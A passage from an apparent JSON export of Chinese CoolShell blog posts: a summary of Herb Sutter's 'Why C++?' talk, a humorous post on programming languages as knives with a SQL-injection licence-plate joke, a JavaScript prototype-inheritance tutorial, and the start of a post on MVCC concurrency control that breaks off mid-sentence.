    "content": "---\nlayout: post\ntitle: Why C++ ? 王者归来\ndate: 2012/2/2/ 0:22:57\nupdated: 2012/2/2/ 0:22:57\nstatus: publish\npublished: true\ntype: post\n---\n\n因为又有人邀请我去Quora的C2C网站去回答问题去了，这回是 关于 [@laiyonghao](http://weibo.com/n/laiyonghao) 的这篇有点争议的博文《2012 不宜进入的三个技术点》ActionScript，Thread 和 C++， [C++争议的争议最大](http://blog.csdn.net/lanphaday/article/details/7223385)。（要我说，.NET比C++更需要慎重进入，呵）。我就在这里回复一下这个问题吧。\n\n\n正好我一个月前看到一个视频，这个演讲视频还比较著名，这个演讲者是*Exceptional C++* 和 *C++ Coding Standards* 的作者，还是ISO C++ 委员会的Chair，C++/CLI首席架构师，还是Microsoft的软件架构师，他叫[Herb Sutter](http://herbsutter.com/)，他的这个演讲视频是 [C++ and Beyond 2011](http://cppandbeyond.com/)上的一次公开演讲，题目是——[Why C++](http://channel9.msdn.com/posts/C-and-Beyond-2011-Herb-Sutter-Why-C)? （如果你觉得那里的视频比较慢，你可以看[优酷上的视频](http://v.youku.com/v_show/id_XMzA5OTIwODIw.html)）（英文听力好的同学可以看一样，因为都没有中文字幕）\n\n\n我觉得这篇文章就足够可以说明很多问题了，所以，我把Herb的演讲幻灯片截了几页放到这里，并做上一些注释，算是一个演讲内容摘要吧。\n\n\n1） 为什么C++？因为 Performance per $，也就是说performance 就是钱，这个分成三个方面，\n\n\n* 耗电，芯片的耗电量，移动设备的耗电量，家用电脑的耗电量都和钱有关系。\n* 资源，家用电脑和移动设备上的处理器资源有限，因为要让一般消费者买的起。\n* 体验，在更小的设备上会有更好的体验，有更好的体验就可以挣更多的钱。\n\n\n移动设备上的耗电量相信用过智能手机的人都知道吧，Android手机的耗电量实在是太大了。就算是iPhone在开启Wifi和3G的情况下耗电量也很快。\n\n\n![](../wp-content/uploads/2012/02/WhyCPP.01.jpg)\n\n\n\n2）C++的进化分成三个时代：\n\n\n* 1979 – 1989：研究C的对象能力。主要是为C++做准备\n* 1989 – 1999：C++成了主流。\n* 1999 – 2009：Coffee-based语言（Java, .NET）出现了，极大的提高了开发生产力。\n\n\n对于第三个时代，Herb说了很多，他说这个并没有什么错，因为这个时候我们非常关注开发的生产力，这个非常重要，这就是为什么C++一下就失去优势的地方。但是是否这些Coffee-Based的语言可以做任重要的事呢？不行，很多时候，这是一个Trade-Off的事，也就是生产力不是免费的是需要你用别的东西去交换的。\n\n\n![](../wp-content/uploads/2012/02/WhyCPP.02.jpg)\n\n\n3）第四个时期。\n\n\nHerb认为，2009-2019是第四个时期，因为我们又喜欢Native Code了，C++从被驱逐后又被请回来了。因为网站的性能越来越是个问题，移动端的设备非常流行。但主要是因为Performance就是钱，因为前面的三个因素，性能影响的是dollar，不尊重性能的公司都会发现花钱的速度太快了。（比如去年大家热炒的京东促销和12306.cn的问题，12306给整个社会造成了巨大的金钱浪费）\n\n\nHerb把这个时期比做 The Return of the King。（指环王的第三部：王者归来） **性能为王！**\n\n\n这就好像我在“[软件开发的三重门](https://coolshell.cn/articles/6526.html \"软件开发的“三重门”\")”里说的，开垦时代需要的是快和生产力，而开垦完后就得保证其稳定性。\n\n\n![](../wp-content/uploads/2012/02/WhyCPP.03.jpg)\n\n\n4）Herb还给了一张幻灯片问，“The World is built on ….”，后面例出了多个语言。然后Herb说，世界是由C和C++构成的。\n\n\n![](../wp-content/uploads/2012/02/WhyCPP.03.01.jpg \"WhyCPP.03.01\")\n\n\n5）Herb给了一张表格，这张表可相当形像。如果把我们的对编程语言的需求总结为四个：**效率，灵活，抽象，生产率**。那么，C语言玩的是前两个，而C++玩的是前三个，Java和C#玩的是后两个（抽象和生产率）\n\n\n任保一种设计都不可能让你什么都要的，这就是Trade-Off——什么事都需要交换的。\n\n\n![](../wp-content/uploads/2012/02/WhyCPP.04.jpg)\n\n\n6）Herb举了一个微软内的例子，用C++ 和 ATL 来开发IE工具条的报告，意思是你可以用脚本在IE的工具条上加按钮，但是作者建议使用C++，因为用.NET或是脚本有重大的limitation，尤其是性能上的问题。\n\n\n![](../wp-content/uploads/2012/02/WhyCPP.05.jpg)\n\n\n7）接下来，我们来看看移动设备。\n\n\n下图中，第一个是iOS，第二个是Android，第三个是WinPhone。Herd说了几个事：\n\n\na）比Web APP，人们更喜欢Native的APP，这个在用移动设备上可以得到验证。\n\n\nb）iOS也好，Android也好，WinPhone也好，他们不是在搞操作系统，而是在搞应用，为的是让智能手机更好。手机就是一个App。\n\n\nc）这三个手机在第一版出来时都不支持C++，而第二版出来时都支持C++了。因为他们要兼顾性能和一定程度上的开发效率。WinPhone还没有到第二版，让我们拭目以待。（我以前写过一篇[调侃Android支持C++开发](https://coolshell.cn/articles/3549.html \"Android将允许纯C/C++开发应用\")的文章，这也只是一年前的事，说明C++全面回归了）\n\n\n![](../wp-content/uploads/2012/02/WhyCPP.06.jpg)\n\n\n8）如果你还是不相信的话，我们可以看看为什么Apple和Google都在搞C++的编译器，因为他们觉得g++性能不行。所以，基于LLVM的编译器正在领导潮流，因为我们关注Natvie Code的性能优化。\n\n\n![](../wp-content/uploads/2012/02/WhyCPP.07.jpg)\n\n\n9）接下来，Herb说了一下数据中心，你知道数据中心最花钱的是什么吗？三个事：\n\n\n\n> \n> * 57% 花在了硬件上。\n> * 18% 花在了配电和降温上。\n> * 13% 花在了耗电上。\n> \n> \n> \n\n\n88%的钱花在了硬件和电力上。这可是很大一笔费用啊。（还有人说硬件比软件便宜吗？）我记得我上一个公司的数据中心每年要花的电费就在百万美元以上。\n\n\n![](../wp-content/uploads/2012/02/WhyCPP.08.jpg)\n\n\n10）昨天在[微博上有个笑话](http://weibo.com/1401880315/y3kshD9jf)，说是某咨询师要求程序员把代码打印出来走查，程序员问是不是要用彩打？哈哈。我说，这至少不环保嘛。消耗太大了。是的，C++是可以省电的，以及于C++之父都在YouTube 说C++是可以减轻全球变暖的问题。哇，C++开始真正造福人类了。\n\n\n![](../wp-content/uploads/2012/02/WhyCPP.09.jpg)\n\n\n11）我还需要重温一下老大的这句话——\n\n\n\n> **My contribution to the fight against global warming is C++’s efficiency**: Just think if Google had to have twice as many server farms! Each uses as much energy as a small town. And it’s not just a factor of two… **Efficiency is not just running fast or running bigger programs, it’s also running using less resources**.\n> \n> \n> Bjarne Stroustrup, June 2011\n> \n> \n> \n\n\n最后一句说的非常好！**效率不仅仅只是跑得，跑得多，更是可以使用更少的资源**。\n\n\n12）下面让我们再来看一张表，一张把钱投到哪里的表格，这样我们可以看到一些趋势。\n\n\n* 70年代80年代，资源不够，主要是把钱投在性能上。\n* 80年代到90代，主要是90年代开始有一半的投次到了抽象和生产率上。\n* 00年代，完全都在抽象和生产率上。\n* 10年代，80%的钱都要回头来解决性能问题。这就是C/C++的王者归来。\n\n\n![](../wp-content/uploads/2012/02/WhyCPP.10.jpg)\n\n\n13）当然，不是C++不注重 开发效率，看看C++0X的标准引入了多少东西我们就知道了。但是本质上，**C++还是致力于性能和抽象的完全平衡**。\n\n\n![](../wp-content/uploads/2012/02/WhyCPP.11.jpg)\n\n\n那么，我们还会觉得C++要被淘汰了，不适合进入了吗？看完这个演讲，你应该有答案的。\n\n\n后面讲了C++的文艺复兴，你可以在Google 搜索 “[C++ Renaissance](https://www.google.com/search?q=C%2B%2B+Renaissance)”看看。另外，**该视频的讲议可以在[这里下载](http://ecn.channel9.msdn.com/content/WhyCPPCB2011.pdf)**。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![无锁队列的实现](../wp-content/uploads/2012/09/lock_free_bicycle-150x150.jpg)](https://coolshell.cn/articles/8239.html)[无锁队列的实现](https://coolshell.cn/articles/8239.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [![ETCD的内存问题](../wp-content/uploads/2022/05/etcd-150x150.png)](https://coolshell.cn/articles/22242.html)[ETCD的内存问题](https://coolshell.cn/articles/22242.html)\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\nThe post [Why C++ ? 王者归来](https://coolshell.cn/articles/6548.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-2-20 千万别惹程序员.md",
    "content": "---\nlayout: post\ntitle: 千万别惹程序员\ndate: 2012/2/20/ 23:54:57\nupdated: 2012/2/20/ 23:54:57\nstatus: publish\npublished: true\ntype: post\n---\n\n酷壳好久没有发娱乐性质的技术文章了，搞得气氛有点严肃了，考虑到程序员们都是比较严肃和容易较真的类书呆子的群体，所以，需要更新一个有娱乐性质的文章了。正好最近看到了两个比较有趣的图，在新浪微博上都得到了比较不错的反响，因此，更新到酷壳上来。\n\n\n#### 如果编程语言是一种刀\n\n\n下面这个图是把编程语言看做是一种刀，那么会是什么样的。这个图我个人感觉很有意思。\n\n\n![](../wp-content/uploads/2012/02/programming-language.jpg \"programming language\")\n\n\n对于这个图，最好不要解释，意会就好。不过，我却有点想不解风情，忍不住想解释一下。\n\n\n\n* C++，C，Pascal 都是瑞士军刀，说明是用来做细活的工具。C语言的刀上有个USB，说明是可以做硬件操作的。C++的刀是什么都有，说明C++是一种功能繁多的语言。（图中C++的那把瑞士军刀很强大，不要以为其是虚构的，这把刀是真实存在的，叫Wenger巨人刀，<http://www.wenger.ch/giant-knife-wenger-swiss-army-knife> (这个网页上有个Youtube视频，可以爬墙去看)，[淘宝上有卖的](http://s.taobao.com/search?q=giant-knife-wenger-swiss-army-knife&keyword=&commend=all&ssid=s5-e&search_type=item&atype=&tracelog=&sourceId=tb.index&initiative_id=tbindexz_20120220)，价格在1万4左右。）\n* Java/C#是一把塑料餐刀，这说明，Java和C#语言是带虚拟机的，而且其语法和使用并不像C++那么复杂，其泛型编程可以有很多种玩法，而Java和C#的泛型编程是比较单一的。\n* Python是把电锯，人挡杀人，佛招杀佛，威力很大，面对大型的物体的修整，比C++/C/Java什么的得心应手得多得多，但是对于一些精细的调优工作，明显不行。这和Ruby很像。\n* PHP没有MySQL，明显是被幽默了一把。不过最近对PHP的批评越来越多，不过，facebook的PHP的引擎HiPo已经很牛B了。\n* Perl是一本日本武士刀，是忍者玩的语言。\n* VB，就是一个玩具。你见过用塑料玩具勺当刀的吗？Haskell感觉是外星来的。呵呵\n\n\n#### 千万别惹程序员\n\n\n下图一张昨天我公司内部被传递的图片。经典的SQL注入式攻击。千万别惹程序员\n\n\n![](../wp-content/uploads/2012/02/SQL-injection-attackadjusted.jpg \"SQL-injection-attack(adjusted)\")\n\n\n这是一个有技术含量的号牌遮挡。我们先不说其是不是能奏效，不过，这个创意相当的NB啊。当你驾车通过某些路口时，被摄像头捕捉到你的车牌，通过OCR变成文本，然后插入数据库，于是，上图的这个车牌就成了SQL注入。（不要以为车牌的OCR技术还不行，这项目技术已经非常成熟了，无论是国内还是国外）。这张图片就如同“[Web开发中应该知道的事](https://coolshell.cn/articles/6043.html \"Web开发中需要了解的东西\")”中说的一样——永远不要相信用户的输入。\n\n\n**插曲**：我昨天把这张图片[放到微博](http://weibo.com/1401880315/y6kIAj1oN)，结果，**被转了几万次，上了热门转发的top list和一些社会热点和明星八卦排在了一起**。主要是被“*@微博搞笑排行榜:  @全球潮流趣闻:  @实用小百科: @经典英文语录:  @当时我就泪奔了: @老榕: @全球经典音乐: @环球汽车搜罗: @怪诞心理行为学: @精彩电影: @互联网的那点事: @潮混搭:  @热门微博: @SinaAppEngine:* ” 还有些什么体育记者，法律记者都转了， 这些转发了。这多少让我觉得有些诧异，这是很技术的一件事啊，怎么连什么电影，英文对白，汽车，音乐什么的都转了？我是相当的费解啊，我只能有两个认为——\n\n\n1. 简单的认为关心技术的人还是很多的。\n2. 复杂地认为国人是喜欢起哄的，不问为什么。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员眼中的编程语言](../wp-content/uploads/2009/12/language-fanboys-150x150.jpg)](https://coolshell.cn/articles/1992.html)[程序员眼中的编程语言](https://coolshell.cn/articles/1992.html)\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\nThe post [千万别惹程序员](https://coolshell.cn/articles/6639.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-2-27 再谈javascript面向对象编程.md",
    "content": "---\nlayout: post\ntitle: 再谈javascript面向对象编程\ndate: 2012/2/27/ 0:25:13\nupdated: 2012/2/27/ 0:25:13\nstatus: publish\npublished: true\ntype: post\n---\n\n**前言:**虽有陈皓[《Javascript 面向对象编程》](https://coolshell.cn/articles/6441.html)珠玉在前，但是我还是忍不住再画蛇添足的补上一篇文章，主要是因为javascript这门语言魅力。另外这篇文章是一篇入门文章，我也是才开始学习Javascript，有一点心得，才想写一篇这样文章，文章中难免有错误的地方，还请各位不吝吐槽指正\n\n\n#### **吐槽Javascript**\n\n\n初次接触Javascript，这门语言的确会让很多正规军感到诸多的不适，这种不适来自于Javascript的语法的简练和不严谨，这种不适也来自Javascript这个悲催的名称，我在想网景公司的Javascript设计者在给他起名称那天一定是脑壳进水了,让Javascript这么多年来受了这么多不白之冤，人们都认为他是Java的附属物，一个WEB玩具语言。因此才会有些人会对Javascript不屑，认为Javascript不是一门真正的语言，但是这此他们真的错了。Javascript不仅是一门语言，是一门真真正正的语言，而且他还是一门里程碑式的语言，他独创多种新的编程模式原型继承，闭包（**作者注：闭包不是JS首创，应该Scheme首创，prototypal inheritance 和 dynamic objects 是self语言首创，Javascript的首创并不精彩,谢谢网友的指正。**），对后来的动态语言产生了巨大的影响。做为当今最流行的语言（没有之一），看看git上提交的最多的语言类型就能明白。随着HTML5的登场，浏览器将在个人电脑上将大显身手，完全有替换OS的趋势的时候，Javascript做为浏览器上的一门唯一真真的语言，如同C之于 unix/linux，java之于JVM，Cobol之于MainFrame，我们也需要来重新的认真地认识和审视这门语言。另外Javascript的正式名称是：ECMAScript，这个名字明显比Javascript帅太多了！  \n\n  \n\n言归正传，我们切入主题——Javascript的面向对象编程。要谈Javascript的面向对象编程，我们第一步要做的事情就是忘记我们所学的面向对象编程。传统C++或Java的面向对象思维来学习Javascript的面向对象会给你带来不少困惑，让我们先忘记我们所学的，从新开始学习这门特殊的面向对象编程。既然是OO编程，要如何来理解OO编程呢，记得以前学C++，学了很久都不入门，后来有幸读了《Inside The C++ Object Model》这本大作，顿时豁然开朗，因此本文也将以对象模型的方式来探讨的Javascript的OO编程。因为Javascript 对象模型的特殊性，所以使得Javascript的继承和传统的继承非常不一样，同时也因为Javascript里面没有类，这意味着Javascript里面没有extends,implements。那么Javascript到底是如何来实现OO编程的呢？好吧，让我们开始吧，一起在Javascript的OO世界里来一次漫游\n\n\n首先，我们需要先看看Javascript如何定义一个对象。下面是我们的一个对象定义：\n\n\n[javascript]  \n\nvar o = {};  \n\n[/javascript]\n\n\n还可以这样定义一个对象\n\n\n[javascript]  \n\nfunction f() {  \n\n}  \n\n[/javascript]\n\n\n对，你们没有看错，在Javascript里面，函数也是对象。  \n\n当然还可以\n\n\n[javascript]  \n\nvar array1= [ 1,2,3];  \n\n[/javascript]\n\n\n数组也是一个对象。  \n\n其他关于对象的基本的概念的描述，还是请各位亲们参见陈皓[《Javascript 面向对象编程》](https://coolshell.cn/articles/6441.html)文章。  \n\n对象都有了，唯一没有的就是class，因为在Javascript里面是没有class关键字的，算好还有function，function的存在让我们可以变通的定义类，在扩展这个主题前，我们还需要了解一个Javascript对象最重要的属性，**\\_\\_proto\\_\\_**成员。\n\n\n#### **\\_\\_proto\\_\\_成员**\n\n\n严格的说这个成员不应该叫这个名字，\\_\\_proto\\_\\_是Firefox中的称呼，\\_\\_proto\\_\\_只有在Firefox浏览器中才能被访问到。**做为一个对象，当你访问其中的一个成员或方法的时候，如果这个对象中没有这个方法或成员，那么Javascript引擎将会访问这个对象的\\_\\_proto\\_\\_成员所指向的另外的一个对象，并在那个对象中查找指定的方法或成员，如果不能找到，那就会继续通过那个对象的\\_\\_proto\\_\\_成员指向的对象进行递归查找，直到这个链表结束**。  \n\n好了，让我们举一个例子。  \n\n比如上上面定义的数组对象array1。当我们创建出array1这个对象的时候，array1实际在Javascript引擎中的对象模型如下：  \n\n![](../wp-content/uploads/2012/02/joo_1.png)  \n\narray1对象具有一个length属性值为3，但是我们可以通过如下的方法来为array1增加元素：\n\n\n[javascript]  \n\narray1.push(4);  \n\n[/javascript]\n\n\npush这个方法来自于array1的\\_\\_proto\\_\\_成员指向对象的一个方法(Array.prototye.push())。正是因为所有的数组对象（通过[]来创建的）都包含有一个指向同一个具有push,reverse等方法对象(Array.prototype)的\\_\\_proto\\_\\_成员，才使得这些数组对象可以使用push,reverse等方法。\n\n\n那么这个\\_\\_proto\\_\\_这个属性就相当于面向对象中的”has a”关系，这样的的话，只要我们有一个模板对象比如Array.prototype这个对象，然后把其他的对象\\_\\_proto\\_\\_属性指向这个对象的话就完成了一种继承的模式。不错！我们完全可以这么干。但是别高兴的太早，这个属性只在FireFox中有效，其他的浏览器虽然也有属性，但是不能通过\\_\\_proto\\_\\_来访问，只能通过getPrototypeOf方法进行访问，而且这个属性是只读的。看来我们要在Javascript实现继承并不是很容易的事情啊。\n\n\n#### **函数对象prototype成员**\n\n\n首先我们先来看一段函数prototype成员的定义，\n\n\n\n> **When a function object is created, it is given a prototype member which is an object containing a constructor member which is a reference to the function object**  \n> \n> 当一个函数对象被创建时，这个函数对象就具有一个prototype成员，这个成员是一个对象，这个对象包含了一个构造子成员，这个构造子成员会指向这个函数对象。\n> \n> \n\n\n例如：\n\n\n[javascript]  \n\nfunction Base() {  \n\n this.id = \"base\"  \n\n}  \n\n[/javascript]\n\n\nBase这个函数对象就具有一个prototype成员，关于构造子其实Base函数对象自身，为什么我们将这类函数称为构造子呢？原因是因为这类函数设计来和new 操作符一起使用的。为了和一般的函数对象有所区别，这类函数的首字母一般都大写。构造子的主要作用就是来创建一类相似的对象。\n\n\n上面这段代码在Javascript引擎的对象模型是这样的  \n\n![](../wp-content/uploads/2012/02/joo_2.png)\n\n\n#### **new 操作符**\n\n\n在有上面的基础概念的介绍之后，在加上new操作符，我们就能完成传统面向对象的class + new的方式创建对象，在Javascript中，我们将这类方式成为Pseudoclassical。  \n\n基于上面的例子，我们执行如下代码\n\n\n[javascript]  \n\nvar obj = new Base();  \n\n[/javascript]\n\n\n这样代码的结果是什么，我们在Javascript引擎中看到的对象模型是：  \n\n![](../wp-content/uploads/2012/02/joo_3.png)\n\n\nnew操作符具体干了什么呢?其实很简单，就干了三件事情。\n\n\n[javascript]  \n\nvar obj = {};  \n\nobj.\\_\\_proto\\_\\_ = Base.prototype;  \n\nBase.call(obj);  \n\n[/javascript]\n\n\n第一行，我们创建了一个空对象obj  \n\n第二行，我们将这个空对象的\\_\\_proto\\_\\_成员指向了Base函数对象prototype成员对象  \n\n第三行，我们将Base函数对象的this指针替换成obj，然后再调用Base函数，于是我们就给obj对象赋值了一个id成员变量，这个成员变量的值是”base”，关于call函数的用法，请参看陈皓[《Javascript 面向对象编程》](https://coolshell.cn/articles/6441.html)文章  \n\n如果我们给Base.prototype的对象添加一些函数会有什么效果呢？  \n\n例如代码如下：\n\n\n[javascript]  \n\nBase.prototype.toString = function() {  \n\n return this.id;  \n\n}  \n\n[/javascript]\n\n\n那么当我们使用new创建一个新对象的时候，根据\\_\\_proto\\_\\_的特性，toString这个方法也可以做新对象的方法被访问到。于是我们看到了：  \n\n**构造子中，我们来设置‘类’的成员变量（例如：例子中的id），构造子对象prototype中我们来设置‘类’的公共方法。于是通过函数对象和Javascript特有的\\_\\_proto\\_\\_与prototype成员及new操作符，模拟出类和类实例化的效果。**\n\n\n#### **Pseudoclassical 继承**\n\n\n我们模拟类，那么继承又该怎么做呢？其实很简单，我们只要将构造子的prototype指向父类即可。例如我们设计一个Derive 类。如下\n\n\n[javascript]  \n\nfunction Derive(id) {  \n\n this.id = id;  \n\n}  \n\nDerive.prototype = new Base();  \n\nDerive.prototype.test = function(id){  \n\n return this.id === id;  \n\n}  \n\nvar newObj = new Derive(\"derive\");  \n\n[/javascript]\n\n\n这段代码执行后的对象模型又是怎么样的呢？根据之前的推导，应该是如下的对象模型  \n\n![](../wp-content/uploads/2012/02/joo_4.png)  \n\n这样我们的newObj也继承了基类Base的toString方法，并且具有自身的成员id。关于这个对象模型是如何被推导出来的就留给各位同学了，参照前面的描述，推导这个对象模型应该不难。  \n\nPseudoclassical继承会让学过C++/Java的同学略微的感受到一点舒服，特别是new关键字，看到都特亲切，不过两者虽然相似，但是机理完全不同。当然不关什么样继承都是不能离不开\\_\\_proto\\_\\_成员的。\n\n\n#### **Prototypal继承**\n\n\n这是Javascript的另外一种继承方式，这个继承也就是之前陈皓文章《Javascript 面向对象编程》中create函数，非常可惜的是这个是ECMAScript V5的标准，支持V5的浏览器目前看来也就是IE9，Chrome最新版本和Firefox。虽然看着多，但是做为IE6的重灾区的中国，我建议各位还是避免使用create函数。好在没有create函数之前，Javascript的使用者已经设计出了等同于这个函数的。例如：我们看看Douglas Crockford的object函数。\n\n\n[javascript]  \n\nfunction object(old) {  \n\n function F() {};  \n\n F.prototype = old;  \n\n return new F();  \n\n}  \n\nvar newObj = object(oldObject);  \n\n[/javascript]\n\n\n例如如下代码段\n\n\n[javascript]  \n\nvar base ={  \n\n id:\"base\",  \n\n toString:function(){  \n\n return this.id;  \n\n }  \n\n};  \n\nvar derive = object(base);  \n\n[/javascript]\n\n\n上面函数的执行后的对象模型是：  \n\n![](../wp-content/uploads/2012/02/joo_5.png)  \n\n如何形成这样的对象模型，原理也很简单，只要把object这个函数扩展一下，就能画出这个模型，怎么画留给读者自己去画吧。  \n\n这样的继承方式被称为原型继承。相对来说要比Pseudoclassical继承来的简单方便。ECMAScript V5正是因为这原因也才增加create函数，让开发者可以快速的实现原型继承。  \n\n上述两种继承方式是Javascript中最常用的继承方式。通过本文的讲解，你应该对Javascript的OO编程有了一些‘原理’级的了解了吧\n\n\n#### **参考:**\n\n\n[《Prototypes and Inheritance in JavaScript Prototypes and Inheritance in JavaScript》](http://msdn.microsoft.com/en-us/scriptjunkie/ff852808)  \n\n[Advance Javascript](http://yuiblog.com/blog/2006/11/27/video-crockford-advjs/) （Douglas Crockford 大神的视频，一定要看啊）\n\n\n#### **题外话：**\n\n\nweb2.0后，web应用可谓飞速发展，如今在HTML5发布之际，浏览器的功能被大大强化，我感觉Browser远远在不是一个Browser那么简单了。记得C++之父曾经这样说过JAVA，JAVA不是跨平台，JAVA本身就是一个平台。如今的Browser也本身就是一个平台了，好在这个平台是基于标准的。如果Browser是平台，由于Browser安全沙箱的限制，个人电脑的资源被使用的很少，感觉Browser就是一个NC（Network Computer）？我们居然又回到了Sun最初提出的构想，Sun是不是太强大了些？\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![理解Javascript的闭包](../wp-content/uploads/2012/03/closure-150x150.png)](https://coolshell.cn/articles/6731.html)[理解Javascript的闭包](https://coolshell.cn/articles/6731.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/6441.html)[Javascript 面向对象编程](https://coolshell.cn/articles/6441.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5202.html)[对象的消息模型](https://coolshell.cn/articles/5202.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![如何读懂并写出装逼的函数式代码](../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg)](https://coolshell.cn/articles/17524.html)[如何读懂并写出装逼的函数式代码](https://coolshell.cn/articles/17524.html)\nThe post [再谈javascript面向对象编程](https://coolshell.cn/articles/6668.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-3-13 多版本并发控制(MVCC)在分布式系统中的应用.md",
    "content": "---\nlayout: post\ntitle: 多版本并发控制(MVCC)在分布式系统中的应用\ndate: 2012/3/13/ 0:36:53\nupdated: 2012/3/13/ 0:36:53\nstatus: publish\npublished: true\ntype: post\n---\n\n【感谢 Todd投递本文 – 微博帐号：[weidagang](http://weibo.com/weidagang \"weidagang\") 】\n\n\n#### 问题\n\n\n最近项目中遇到了一个分布式系统的并发控制问题。该问题可以抽象为：某分布式系统由一个数据中心D和若干业务处理中心L1，L2 … Ln组成；D本质上是一个key-value存储，它对外提供基于HTTP协议的CRUD操作接口。L的业务逻辑可以抽象为下面3个步骤：\n\n\n1. read: 根据keySet {k1, … kn}从D获取keyValueSet {k1:v1, … kn:vn}\n2. do: 根据keyValueSet进行业务处理，得到需要更新的数据集keyValueSet’ {k1′:v1′, … km’:vm’} (**注**：读取的keySet和更新的keySet’可能不同)\n3. update: 把keyValueSet’更新到D （**注**：D保证在一次调用更新多个key的原子性）\n\n\n在没有事务支持的情况下，多个L进行并发处理可能会导致数据一致性问题。比如，考虑L1和L2的如下执行顺序：\n\n\n1. L1从D读取key:123对应的值100\n2. L2从D读取key:123对应的100\n3. L1将key:123更新为100 + 1\n4. L2将key:123更新为100 + 2\n\n\n如果L1和L2串行执行，key:123对应的值将为103，但上面并发执行中L1的执行效果完全被L2所覆盖，实际key:123所对应的值变成了102。\n\n\n\n#### 解决方案1：基于锁的事务\n\n\n为了让L的处理具有可串行化特性(Serializability)，一种最直接的解决方案就是考虑为D加上基于锁的简单事务。让L在进行业务处理前先锁定D，完成以后释放锁。另外，为了防止持有锁的L由于某种原因长时间未提交事务，D还需要具有超时机制，当L尝试提交一个已超时的事务时会得到一个错误响应。\n\n\nhttp://images.cnblogs.com/cnblogs_com/weidagang2046/362318/o_conditional_update_1.PNG![0915536496-0](../wp-content/uploads/2012/03/0915536496-0.png)\n\n\n本方案的优点是实现简单，缺点是锁定了整个数据集，粒度太大；时间上包含了L的整个处理时间，跨度太长。虽然我们可以考虑把锁定粒度降低到数据项级别，按key进行锁定，但这又会带来其他的问题。由于更新的keySet’可能是事先不确定的，所以可能无法在开始事务时锁定所有的key；如果分阶段来锁定需要的key，又可能出现死锁(Deadlock)问题。另外，按key锁定在有锁争用的情况下并不能解决锁定时间太长的问题。所以，按key锁定仍然存在重要的不足之处。\n\n\n#### 解决方案2：多版本并发控制\n\n\n为了实现可串行化，同时避免锁机制存在的各种问题，我们可以采用基于多版本并发控制（Multiversion concurrency control，MVCC）思想的无锁事务机制。人们一般把基于锁的并发控制机制称成为悲观机制，而把MVCC机制称为乐观机制。这是因为锁机制是一种预防性的，读会阻塞写，写也会阻塞读，当锁定粒度较大，时间较长时并发性能就不会太好；而MVCC是一种后验性的，读不阻塞写，写也不阻塞读，等到提交的时候才检验是否有冲突，由于没有锁，所以读写不会相互阻塞，从而大大提升了并发性能。我们可以借用源代码版本控制来理解MVCC，每个人都可以自由地阅读和修改本地的代码，相互之间不会阻塞，只在提交的时候版本控制器会检查冲突，并提示merge。目前，Oracle、PostgreSQL和MySQL都已支持基于MVCC的并发机制，但具体实现各有不同。\n\n\nMVCC的一种简单实现是基于CAS（Compare-and-swap）思想的有条件更新（Conditional Update）。普通的update参数只包含了一个keyValueSet’，Conditional Update在此基础上加上了一组更新条件conditionSet { … data[keyx]=valuex, … }，即只有在D满足更新条件的情况下才将数据更新为keyValueSet’；否则，返回错误信息。这样，L就形成了如下图所示的Try/Conditional Update/(Try 